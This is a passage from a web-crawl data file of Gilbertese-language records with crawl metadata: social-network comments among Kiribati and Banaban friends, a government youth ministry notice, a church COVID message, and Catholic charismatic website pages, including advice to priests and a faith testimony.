ikanne.\nAio au email address< firstname.lastname@example.org> ba e tikiraoi riki iai te maroro kee?\nTia boo moa ao te inga ma te kamauri nakoia ataei.\nMauri Marawa, I know that u will not recognize me, anyway ngai bon Taoniti, natin Areke ao Nei Tongauea. Iam using my name Jenny as its my registered name. Bon tibun Tutu ngai, guess u might recognize me than. E raba naba te site ai bwa ea manga reke te tai ni mwaroro iai.\nTi boni bane ni marurung raoi mwa kain ara auti. Teari bon kain ara auti naba.\nI taku bwa tao koa mon kinai. Tao koa manga reitia mai ikanne","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/banabanvoice.ning.com\/profile\/MarawaTaatu","date":"2020-09-26T19:11:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400244353.70\/warc\/CC-MAIN-20200926165308-20200926195308-00674.warc.gz","language":"gil","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 0.9999881982803345}","num_words":878,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te bubuti ae mangori ngkana kam kona ni kariki ami iango n te uke-rongorongo aio, riki ngkai bon taan kairiri ngkami ibukin abami nakon taai aika imwaira. Kanakoi\/karokoi ami iango n ibuobuoki ao ni kataratara ibukin taain aika imwaira, n te aro ae e na ongo naba te aba ni bwanaami.","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/mwysa.gov.ki\/23-un75.html","date":"2020-09-24T04:10:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400213454.52\/warc\/CC-MAIN-20200924034208-20200924064208-00262.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":51,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko baba ko bon tuai man norai imiin nonorakiu ao koa taetae naba. Ngkai ngkana ko bon nora manem aei ao ko aki kina kona rirarkiu ao anne ko naki kataetaeai ba ko aki kinai. Ma eaoria tia bon taninga te tai arei Kee!\nTekeraoi te makuri ao te regards nakon raom anne ma manena hehe!\nKo aki kona ni manga roko nte kaunibutika bwa mwina ko kuritaki ao irarikina ko aki kona ni kaira raom bwa e nang tira te kamarua n tain te botaki...lol... ao ngke e a tau tia taninga raoi ara tai ni kaunibutiko mai iroum. Tai kakaotia nakon raom anne ae I atia ni iein mwina ao eaki karekea toau mai irouia manena ha ha .Tekeraoi te mwakuri","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/banabanvoice.ning.com\/profile\/UenetaT","date":"2020-09-28T00:21:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401582033.88\/warc\/CC-MAIN-20200927215009-20200928005009-00538.warc.gz","language":"gil","language_score":1.0000081062,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000081062316895}","num_words":123,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.252,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Nakoia raraou ao raou ni mwakuri, inanon namakaina aikai n tain butin te aoraki ae te COVID-19, ngkai e kekeiaki te aonaba ni kakaea tokin te kangaanga ae e a tibwa reke aei, I miimi n taian katooto aika mwaiti n te onimaki, te ninikoria, ao n aoron ana tangira Kristo are I a tia n noria. Kam rabwa ibukin ami ibuobuoki ao ami tangira imarenami n aron are e tangiriira te Tia Kamaiu bwa ti na karaoia.\nTi kakaitau ibukin te kairiiri ni ibuobuoki are e katauraoia te tautaeka, taabo ni kuakua, ao taan kairiiri n te tautaeka bwa ti na mano. Ao ti na reitinako n tataromwaaka ao ni waaki ma te karaurau ae bati. Maurim ao taraan marurungim bon te moan bwai ae ti rangi n raraoma iai.\nNgkai ti waaki rake ma te karaurau nakon tein maiura mai imwaina, taan kairiiri n te Ekaretia a na reitinako ni bobotii rongorongo ao n taraia bwa tao maanra riki ao ti na manga ikotaki inanon ara autinibotaki ao tembora n tabo aika a kakaokoro. Ti ataia bwa otenanti n tembora aika tabu a riai ni karaoaki. A rang kakawaki ibukin te maiu ae akea tokina.\nTi na reitaki ni kamataataa te mwaneka teuana nakon teuana bwa ningai ao iia taian bobotaki ae aron akanne ao waaki ni kakukurei n te Ekaretia bwa a na manga karaoaki. Karaoan bitaki nakon te mwakuri ni mitinare ae iaon kawaia n tia.\nNgkai, ti kimwareirei n te rau are e nako mai iroun te Uea Iesu Kristo. E na reitinako ni kaona nanora n te kantaninga ao te kimwareirei. Tamara are i Karawa ao Natina ae Tangiraki a tangiriira, ao ataa te bwai ae ti rinanona, ao a na kakabwaiaira n tatabemaniira nako.\nI tangirii ngkami, tariu ao maneu, ao I taekinna nakoimi bwa boong aika a kakukurei a mena imwaiira. Bon akea tokin ara motinnano n iriira te Uea!","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/pacific.churchofjesuschrist.org\/pres-nelson-covid-may-20-gil","date":"2020-10-27T21:44:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107894759.37\/warc\/CC-MAIN-20201027195832-20201027225832-00311.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":318,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko na mauri inanon te Bentekota ae bou aio n ana Tangira te Uea ngkoe ae ko roko n neweaba ke ni mataku n ara website aio. Bon ara kantaninga ba a na rangi ni bati tibangam aika na reke man taian kanoa aika a tauraoi ibukim inanon te website aio. Bon ara tataro riki ibukim ba a na reke otam aika bou iaon te charismatic ao e na reke naba kairan nanom ni kani kaaina te botaki ni charismatic n te aio.\nTi bia kaboouaki, korakoraaki ao ni kamatoaaki n te Bentekota aio n riki ba taan kakoaua te kamaiuaki are ti anganaki n te Bakate ba uan marakin, maten ao mangautin Iesu. Ti bia kaonrakeaki iroun te Tamnei ae Raoiroi n reitira ma tarira ao manera ao te Ekaretia ae banin iaon Kiribati ao n te aonnaba n tatakaruaea te Rongorongo ae Raoiroi nako tokin aonnaba.\nN reitaki ma te kaboouaki ae uotan te Bentekota ao ibukin kani karakaan riki te ibuobuoki nakoimi ao e kukurei te kccrs n taekinna ikai bon iai bitaki aika boou n te website aika ko na noori ngkai n aron aikai: Baika a na Riki, Katanoata, Ana Karenta te Ekaretia, Tiein n Tataro (prayeline), ao Titiraki ma Kaekaaia.\nNoori riki ara kanoa aika tauraoi ibukim ae Kanan Tamneira Ni Katoa Bong, ao karekei naba buokam mani Bokin te Aro ao Bokin te Charismatic. Wareka Ana Tangira te Uea ibukin rongorongon ana kamaiu te Uea aika kakaongora mani katekenano. Ko kona naba ni katoka nanom ni wareware man ana nutibeba te charismatic ae Emmanuera.\nAra bai n tai nako te Mauri, te Raoi ao te Tabomoa are mai roun te Atua ae Teniman n Temanna. Ibukin riki am kan oota ke am iango ni ibuobuoki iaon katamaroan riki ara website aio ao taiaoka n reitaki ma ngaira n te email ae This email address is being protected from spambots. You need JavaScript enabled to view it.","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/","date":"2020-10-25T08:40:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107888402.81\/warc\/CC-MAIN-20201025070924-20201025100924-00629.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":323,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.356,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inanon aia babaro kain te MSC i Suva inanon te namakaina ae Tebetemba ao aikai ara maroro ngaira kain te charismatic man St Padre Pio ake a tabekaki ba itera n ibuobuoki nakoia ara berebitero.\n1. Kam na teimatoa ni uouota ao ni kaota Iesu nakoia aomata\nTe kona n uouota Iesu nakoia aomata nako e bon kainnanoa teimatoan raoiroin te reitaki ma te riki n ti teuana n ami tangira ae nano ma Iesu. Te reitaki inanon te tangira ma te Uea e kainnanoa teimatoan te maiu n tataro ao te tangira ae nano ibukin te Eukari. Te katiteuanaaki n taai nako ma Iesu e na bon angani ngkami te kona ni kaota raoi bannan Iesu n nanorinano, n nimamannei, ao n nanoanga nakoia aomata nako. E na bon kairia naba aomata nakon koburaken ana nanoanga ma ana kamaeu te Uea are raanga man Atinibanna ae Iesu ae Moan te Tabu.\nAan karaoan tabemi ni mitinare inanon nakoami ni Berebitero e na riai ni boto iaon reitakimi ma Iesu n taai nako. Te reitaki ma te Uea aio boni ngaia ae e na katerea mani kakoaua raoi ba baai aika kam karaoi bon titebo ma Nanon te Uea. Kam na riki naba iai ba katotongan ni koaua Iesu i aonteaba.\n2. Kam na riki ba taan kawakin tibu ni koaua aika a raoiroi\nKam tararuaia am tibu ke kam bon tabeakina reken aromi? Kam tara nakoami ni berebitero ba kanga kawain reken kakannatomi ke kaekaan weteami nakon te nakoa ae mangori n toro ibukin Iesu. Te tia kawakin tibu ni koaua bon are e rin man te mataroa ao te mataroa aio bon Iesu ma ana kaibangaki. Ngkana ti aki rin man te mataroa ba ti tamarake man te oo ao ti riki ba kanga ai aoria ake a kan karekea te nakoa ibukin karekean kabaia ao tiaki ibukin kawakinaia tibu n aron nanon Iesu are boni ngaia te Tia Kawakin Tibu ni koaua. Kam na riai n tauraoi n taai nako ibukin buokaia ami tibu ni kainnanoia nako. Kawakinia am tibu man taian kabuanibai, riki man bure aika a rangi ni kamamate ao kairiia nakon te raira n nano ba a aonga ni kamaiuaki tamneia.\n3. Kawakina kakannaton Nakoami ni Berebitero\nKawakina kakannaton te nakoa ae tabu are kam a tia n anganaki n taai nako ao n taabo nako. Inanon ami makuri, ao n tabo ake kam kakamaewe iai, n ami katei ma anuami ao aromi n taetae, e na oti n taai nako ba bon Berebitero ngkami. Aron tabumi iaon te baonikarea n te tutia, E na riai n toka naba i aomi ngkana kam makuri ma aomata. N te tabo are kam mena iai e na riai ni kauekea te tangira ma te karinerine irouia aomata. Aron tarami n ami kunikai ma teimi e na riai n riki ba kanga te m'aaka ni kaota te Atua e Maiu nakoia aomata ao kaotan ami karinerine nakon nakoami ni berebitero. E na boni bua karinean ma kakannaton te nakoa ae tabu ngkana kam aki kawakina kakannaton nakoami i bon iroumi.\n4. Maeuakina te aki kaubai, te nanorinano ao te ongotaeka\nTauraoi n rinnako inanon te maiu ni kainano n aiaron te mena n te rereua ba ti ngaia te anga ae kam kona iai ni kainaomataki man katabetaben te maiu aio ao mani kona naba ni kaitibo iai ni koaua ma te Uea. Te makuri ni mitinare ae kororaoi e na bon kainnanoa te maiu inanon te aki kaubai ma te nanorinao ao te tauraoi ni kona ni kitana aro ni mwengaraoi. Ma ae kakanato riki bon te maiu n ongotaeka ao te tauraoi n nako ike E kairi ngkami iai te Uea, n aiaron Betero are e ongotakea iroun Iesu ni kabaka te karaun n aron are e tuangaki. Te aki kaubai, te ongoateka ao te nanorinano bon ngaia ae na angani ngkami te kona n rooti ao n ringii maeuia aomata ake kam na karokoa irouia ana tangira, ana nanoanga ma makan ana kamaiu te Uea.\n5. Riki ba taan boutoka karekean te Eti ao te Riai\nTeimatoa n riki ba taan boutoka te Eti ao te Riai ao tuaraoi ma te ninikoria n tei bukin te koaua ma te eti inanon te aro n tautaeka, te Ekaretia, te kawa ma taian utu. Tauraoi ni n noori taian kairua ake kam a tia ni karoai nakon temanna ma temanna ao nakon te Ekaretia ao manga karekea te aro ni kaioaki ae tamaroa ma aomata n aron nanon te Uea.\n6. Karikirakea ami tangira ae nano ma Nei Maria\nAron tangiran ma ingaingan nanomi ni kan kakororaoa raoi aron maeuakinan nakoami ni Berebitero e na reke ma ana ibuobuoki tinara Nei Maria. Ngkai e a tia naba Nei Maria n anganaki te ara iroun tinara te Ekaretia ba Tinaia Berebitero, e bon riai ba kam na karekea nnen Nei Maria n taai nako i nanomi ao ni maeumi. Reitaki ni koaua ma Nei Maria ae Ana Toro te Uea ae Mangori inanon karaoan kanoan nakoami ni Berebitero ao bubutia Nei Maria ana kakawakin nakoimi n taai nako.\n7. Kabongana raoi te tai ibukin te Uea\nBoni ngaira ni kabne taan borau n te maiu aei aika ti kekeiaki ba ti n roko n tokin kawaira are rarikin Iesu inanon te kabaia ma te mimitong. Te tai bon te bai ae ti anganaki mairoun te Atua ao bon tabera ae kakakwaki ba ti kabngana raoi te tai aio n aron nanon te Uea. N tokin maeura ao e na bon tuoaki ba ti kanga ni kabongana te tai are ti anganaki. Ti bia bane n tauraoi ma inaganga n nano ni kaitara te tai anne ao ni kaoti nakon Uea te tai ara makuri aika a raraoi aika ti a tia ni karaoi. Aron bairean taekara e na bon kaineti ma aron te muioko are ti anganaki ni maeura aio. Bon ara kantaninga ba a na tauraoi ara berebitero ni butimaai kaoti n ibuobuoki aikai ba E aonga te Berebitero are Moan te Rietata n aki toki ao te Tia Kawakin Tibu ni koaua n angania kawangaia ae tamaroa ni kona ni maeka iararikina i Karawa inanon te mimitong ae akea tokina.\nUriam Timiti, St Padre Pio, Suva","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/buokaia-ara-berebitero\/53-maroro-n-aia-babaro-kain-te-msc-union-i-suva","date":"2020-10-26T18:03:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00304.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1034,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.373,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Details\n-\n-\nHits: 188\nMauri Ngkami,\nNakoimii kaara ake a tia n rin aramii n te MWYSSA ibukin ami mwane ni kara, kamma taiaoka n noora arami ma ami tabo n anai mwane i nano ikai\nKaain Betio, aramii ae iaon kawaina n tia ao ni manga toka naba ikai n te tai ae e waekoa ma kamma kakaninganinga\nKam bati n rabwa","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/mwysa.gov.ki\/26-tabo-n-anai-mwane-ibukin-te-mwane-ni-kara.html","date":"2020-10-26T12:06:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891228.40\/warc\/CC-MAIN-20201026115814-20201026145814-00466.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":61,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ngke e nora Ana Tangira Te Uea Nei Ngaretin nakoina ao ea motika naba nanona ba ena rin te Charismatic. E butimaeaki nanona anne irouia Leaders aika Tuana Tanuaa ao Kaoti ao a wakina naba man te ingabong are imwina ba are te bon te moanibong. E wakinaki ana course Nei Ngaretin ma buuna ae Teikake n Te Maeu ae Onraken Te Maeu n irianaki ma te Boki are Irian Te Maeu ae Oranken, a raonaki Leaders aikai irouia Nei Rota Taraia ao Nei Kaia Tekewa ni karokoa are a kainaomataaki iai. N te kooti ao e noraki aroia ba e ririkirake irouia te maeu n tataro ao riki te kan neneboa mani kamoamoa Ana tangira Te Uea inanon wakinan aia kooti ao ea manga bubuti Ngaretin ba ea kan mare n te katorika. A buokia Leaders ao a kaongoa te catechist ana kainano ao e raba Te Uea ba ea waki naba aia reirei ma te catechist ibukin te Babetito, te Mare, te Benetenia ao ai te Kombirimatio. E koro rimoa aia wiki are nimaua n aia course ma e tuatua te catechist ae Bukitaake Tongaua are bon ngaia naba n te tai anne te Chaplain n te Charismatic ba a kainaomataki imwin are a tia n anganaki taian Takarementu. A bon reitanakio aia kooti ni karokoa te kaonobong are 10th Okitoba 2005 are a mareaki iai ao imwin te mare ao ea taonaki nako naba te kainaomata. Imwin anne ao e nene mani waka inanon te Onimaki Ngaretin ao e riki ba temanna naba ngaia te tia katoamaua kabutan te rongorongo ae raoiroi nakoia aoraki, bure, baaba ao taabo nako ake a kainanoa ana tangira Te Uea, ao te bai ae kamimi ba e rangin maiti karea ake e kaotinakoi inanon tain te tataro riki ma taian aoraki ao aikai karea ake ti kakoauai ba a tia n reke irouna;\ni. Te Taetae n Ataibai, ii. Te Taetae ni Burabeti, iii. Te Matairiki, iv. Buokaia kain te Burikatorio.\nAio ngkanne ana rongorongo Nei Ngaretin iaon buokaia kain te Burikatorio; \"N te kanimabong teuana ao I tataro imatan te Eukari tao n te aoa tebwina (10) n te tairiki. I bon Rotario ao i tekateka n teitera are aia tabo maane ni uakan ma te winto. Inanon au Rotario are I tataroakina ao I mimi iroun temanna te ataeinimane are ea kaoti naba itinanikun te umantabu n te window are e mena i angataiu. E wetea arau ao ngai I tou ao ngaia e bubutiai ba I kona ni buokia ? ao I titirakinna ba e mananga ma iaa ? Ao e kaeka \"I mananga mai mainiku' ao I kaeka nakoina 'Tera am bubuti ?' E kangai nakoiu. 'Kona nako ni kawara tinau ae Nei Bwebwere ao kona tuanga ba ena ana te tataro ni katoa bong ae 'Te Tama ae akea tokim' ao I a titirakinna ni kangai' Ao antai aram ? E kaekai 'arau bon Maiawa' Ao na kanga ni kawara te aine anne ae i aki kinaa ao i aki ataia ba e memena ia ? ao e kangai nakoiu 'Ngkana ko ukeuke ao e na reke'\nN te Katenibong are i muina ao ti kurubu n ana auti Nei Teniiti i Abaunamou ao I a tiba ngkanne au maroro ma Maiawa. Tabeman ibuokaia kain ara boraki a kinaa Nei Bwebwere ao ataia ae e maeka iroun Nei Tebamari i Bariki. A kaunga nanou kain te botaki ba N na riai ni karokoa kanoan te kabeabea arei ba e aonga ni koro naba bukin te kamaeu nakon Maiawa. N te bong i muina ae te Kaabong ao I a nako ma raou teniman aine ake a raonai ba Nei Teretia Teangabure, Nei Buaua Moaniki ao ai Nei Marina Tiin. N rokora iroun Nei Bwebwere ao I a bon kaongoa bai ni kabane ake e taekin natina ae Maiawa nakoiu. E aki kakoaua te rongorongo i aan te koaua are e a tia ni mate natina ae Maiawa ba e kurati (car accident) n te kaa. Ma I a bon karaua n rarangai bai ni kabane n aron are e taekini natina ae Maiawa n ana tai ni kaoti nakoiu. E a kakoaua te rongorongo ao ea taonna te tang ae korakora ao i muina e titirakinai ba aekakira Maiawa. I a bon kabarabara aron Maiawa n norakina ao n anuana are e kaoti iai nakoiu, ao e a manga ana te tamnei teuana n te frame ao e kaotia nakoiu. I a kangai nakoina ba boni ngaia raoi te teinimane anne n te tamnei are e kaoti nakoiu. E karabai ao e a titiraki ngkanne ba tera ngkoa ana rongorongo? I tuangnga ba iai te tataro n te Pieta ae \"Te Tama ae Akea Tokim\" n te iteraniba 47 ae e na tataroakinna ni katoa bong ibukin buokaia kain te Burikatorio. Ibukina ba akea ana Pieta Nei Bwebwere, ngaia are I a katuka au boki irouna ni karokoa ngkai.\nN te taina, ti tataro ma ara aoraki ae iai ana makuri teuare buakaka irouna. Boni ngai (Kaoti)ae I kaira te katokabai. I nanon te tataro ao a kounako riaborona ake aman ao temanna are e tiku irouna ba e karaba te aoraki. E ti kaoti ake aman ao e karaba are temanna, ma Nei Ngaretin n tain te katokabai, e a noriia riaboro ake aman ba a nako ni bae i aan ana kaibangaki Iesu. E a manga nora riki temanna ae e a bon inaomata ni kamoamoa ni koatia ba e aki ataki.\nNgke e nora te riaboro aei ae te aine ao e a roko naba ma arana ae Nei Ngarennao. Ngaia are e a bon butia naba St. Mikaere ba e na anaa Nei Ngarennao ao ni kabaea i aan ana kaibangaki Iesu. Ngke e tia ni butia man ni wetea St. Mikaere ao e a bon kaoti naba St. Mikaere n taua te riaboro arei ao e noria ni kabea i aan ana kaibangaki Iesu. E noriia ba a uatao ba ai ngaia niman ni bae i aan ana kaibangaki Iesu. N te tai naba arei ao e a bon kea naba te aoraki ni karaba Te Uea ba a bane ni kounako mai irouna taian riaboro akekei ao e a bon rau naba ba ai bon te aomata ni koaua.\nN te taina ao ti reitakki ma tangaia tarira ma manera ae Uriam ma buna ae Nei Atuna i Abaunamou ni moan te ririki 2009. N tain ara nebonebo are e kairia Uriam ao e kanakoa te taetae ni burabeti n te ianena iroun manera ae Nei Turiana. Inanon te ianena aio ao e otinako kabarana aika uoua ba aikai;\ni. Tina kakaonimaki n taian karea are e mwiokoira iai Te Uea – Nei Turiana Tekeua\nii. A maiti tibangami ae (1,000,000) te mirion maitina ao makuria ma te korakora – Nei Ngaretin Ioram.\nTi neboa te Atua ae Maeu n ana wewete nakon manera ae Nei Ngaretin are e a tia ni weteia man ana onimaki ni Kamatu nakon ana Ekaretia ni koaua ae te Katorika. Ara tataro ma ara bubuti nakon Te Uea ba e bia kateimatoai karea ake e a tia n angan Nei Ngaretin n reitaki naba ma tarira ao manera ni kabane i nanon ara botaki ni Charismatic i aonnaba ni kabuta, ba a bia kamanenai raoi ma te kakaonimaki, te nanoanga ao te nanorinano ibukin kakoroan ana kamaeu Te Uea nakoia ana botannaomata, ba e aonga n neboaki mani kamoamoaki iai.\nE koreaki iroun Kaoti Teingoa, Te Ran ni Kamaeu Charismatic Group, Teaoraereke, Okitoba, 2009","id":"","dump":"CC-MAIN-2020-45","url":"https:\/\/kccrs.org.ki\/ana-tangira-te-uea\/35-ana-tangira-te-uea-nakon-nei-ngaretin-ioram-n-rinanron-te-charismatic","date":"2020-10-26T18:07:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107891624.95\/warc\/CC-MAIN-20201026175019-20201026205019-00038.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1247,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mauri\nEuara te makuri??????? te kantaninga ba e bon raoiroi ao are bon teimatoa naba te marurung n rabata ao tamnei. Mai ikai ai bon arona naba kanga akea te rongorongo ae so much interesting to share ma e tau moa tia manga bon reitaki ngkana e reke te tai rimwi. Ena tekeraoi te makuri ao ana rau te Atua iaom n taai nako.\nTia boo moa\nBro u can get me on email@example.com but I will get u all the info for CLass 4 as I was known for the past as for regional students are FJD$1,000.00 plus but I dont the changes now as FIT is under the FNU now.....\nWish u luck and may GOd Bless U\nE raba te ururing...i nang marurung raoi mai ikai ao i nano kawaki n kaotia ae e aki nako raoi aorakiu ma ana babaire te uea. Tao bon tiaki moa au tai n reke buraen atuu kee?! lol....ao ko uara moa ao e uara naba am makuri? Keiakinna bwa ai tii teutana riki ao koa manga kukurei naba bwa ea tae nangim iai....hahaha! Aio ngkai te unaine ae e taetae tiaki Nei Regina.....hahahahaha! Te kewe! te kewe!\nE tau ma tetekeraoi naba am waaki mai iaon am kaibuke ao e na raoniko ana tangira te uea n taai nako.\nmauri moa,korabwa naba te mail itaku ba kobon\nmaninga taekau makoaki shshshs,euara temakuri\nmai kanne?itaku bae ibon butiraoi bai ni kabane mai\nkanee,shshsh,kobon kakoakoa raoi au BAI mai kanne!!!!!\nhahahahaha....\ntekeraoi naba te makuri ao temamananga tiamanga bon\nreitaki rimi,,,,,TOFA.........\nTake care...\nBYE........\neeii bor te kamauri nakoim tai kaota ae i kamauria tarin Tatabo na ko ia Tieke ma bwebwe Kee. bon au kamauri nakoia ngai iakua n tatarebon nako rambi ao ni bon nakoati e aki rereke ao e rangi ni mwaitoro ikai e a bwaka te tinoo bro I atia ni karina am gggmail irou ko rabwa tiabo.\nte roronga ae kakawa ttimeon\nBro a boni bane ni marurung ao ia bon angania am kamauri ao ai bon te kamauri ao te inga mai roura kain Taunovo ao ai moarariki mai irou ma katangaua.....hope that everything is fine with u there and no worries I will keep u update for Peaipeta..wish you a delayed Merry xmas and happy new year from me, tatabo & florry...bro ai bon raora ngkai Tieke & Bwebwe ao ai bon raoraou nako Suva teunimane from monday till today.\nTao ia manga toki moa ikai ao ia manga ongora riki mai roum.\nEna tekeraoi te makuri ao koa email nakon au email address ae firstname.lastname@example.org\nTia Boo Moa\nngai tarim\nKire\nNgia Mauri naba.....ao kou ara moa??? ea bon man te tai ke ao tia manga reitaki. Ngaira ti bon marurung ao ara kantaninga ba ko bon marurung raoi naba n am tabo anne. E raraba riki te reitaki........ni ngai ae kona manga raun nako Biti??? e tikiraoi ena tekeraoi te makuri ao ana rau te Atua iaom n taai nako.\nTia manga bon rereitaki ke!!!!\nah!! kona mauri naba te roronga aio...??.....lol......tera ea bon iangoaki man am tabo anne....shshshsh taran aei koaki iangoa te makuri ba kotabe ni kaninganigaaia tarin nako nei peto nte banaban voice keer..aaahhaahhha....ngaia raoi anne iaki tuangko.. ma kotaiaoka ni kanima tamneim ba tia aonga noraa raoi moamoam..\ne tau ma ..tekeraoi naba te makuri ao te tiku ikanne..\nabon kan tai raoi taian tapioka ma taororo ke! Tao e tikiraoi naba ba are ea reke iai te maono. Bon akea te rongorongo mai ikai tia bon botu ao e bon tuai naba n toki uringan Biti iroura. We haven't stopped watching the video clips we took while we were there....by the way, you still in Fiji or back in Kiribati? Ena tekeraoi te waki ao te kantaninga ba ena roko raoi man koro bukin iango aika bon iangoaki.\nAi bon te inga mai Brisbane........take care & God Bless\nNao ti tebo ma ia manga koroboki nakon tamau ngkai ia noora aran tamau irakin aram, eraoiroi bon te ara ae moan baan te tikiraoi.\nAkea te bai aei angoaki bati te uati ao te kuka ao te kaitiaki....kanga enang kabotu te programme aio ke?.....ena tekeraoi te waki nakon taai aika ana roko...God bless you!.......love aunty rusira.\nMauri naba\nE raba ti bon marurung raoi n ara tabo aio ao ara kantaninga ba kam boni marurung naba mai ikanne. Ai rabara riki te kan friend ma ngaira ngkai bon akea ae kan kubarira moa LOL. Akea te rongorongo moa bon ti te nangkona ae nang nako kaina ngkai ao tao ngkana kam mawa ao tia boo ikai nabakara teuana naba te betin hahaha. Ai bon te inga nakoimi ni bane ao ana rau te Uea iaomi ngkai ao n taai nako.\nTia boo boo moa","id":"","dump":"CC-MAIN-2020-45","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=28dy0edzm6rjh","date":"2020-10-28T09:32:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-45\/segments\/1603107897022.61\/warc\/CC-MAIN-20201028073614-20201028103614-00710.warc.gz","language":"gil","language_score":0.9999555349,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999555349349976}","num_words":791,"character_repetition_ratio":0.054,"word_repetition_ratio":0.013,"special_characters_ratio":0.238,"stopwords_ratio":0.211,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kaongora man NSC\nTi na teimatoa ni kakaraba te Uea ibukin mamakurina inanora n te bong ae koraki. Tariu ao maneu ti bon kamoamoa te Uea n ana babaire are E a tia ni baireira nako iai inanon ara waaki, riki ni karokoa te maeu ae e Onraken te Maiu ao te rongorongo ae raoiroi iaon Tarawa ao ai aon abamakoro.\nInanon moan rineaia kain ara taibora ao aikai ngaira ni kabane:\nKantarawa Yeeting- Ara tia koroboki\nTiriia Riwata – Ara tia Mane\nToom Tiime- Ara kauoman tia Koroboki\nIoane Teingoa- Ara kauoman tia Babaire\nIan Namakin-Tia Baibaire\nFr Koru Tito- Tia Reirei\nInanon banen Turai ae nako ao e a tia ni waaki ara taibora ma kanon iango aika moan te bati ibukin kakamakuran te tamnei ae raoiroi iaon Tarawa n aron aikai:\nTe reitaki n Tutia ao ni kainaomata irouia tarira ao manera ake a tia ni kooti. N te tai aio ao e kan bubua aika a tia ni kainaomataki irouia kain Bikenibeu,Nawerewere MOH, Teaoraereke ao Betio. E rangin kakukurei mwiin aikai ao ti rangin karaba Fr Koru ibukin reitakira ma ngaia ao riki ana boutoka ae e rangin korakora nakon ara botaki iaon Tarawa.\nKawaran aonaba n aron are e a tia ni baireaki ba ana kawaraki inanon te ririki aio. Makin ma Butaritari ao Nonouti ma Kuria a tia naba ni kawaraki inanon moan te ririki ao ngkai e a manga tei te mananga n taabo aikai, Marakei ma Maiana a na karaoaki irouia kain Bikenibeu, Abaiang ma Tarawa Ieta irouia kain Teaorareke ao Kuria ma Onotoa irouia kain Betio ao e a tiba roko naba te bubuti ibukin kawaran Nikunau ma e a tia naba ni moti n ara boowi ba a na rineaki kakauoman man Parish aika teniua aikai ba a na kawara ikekei inanon October. N te tai aio ao a tia ni mananga kain Bikenibeu nakon aia Abamakoro ao iaon 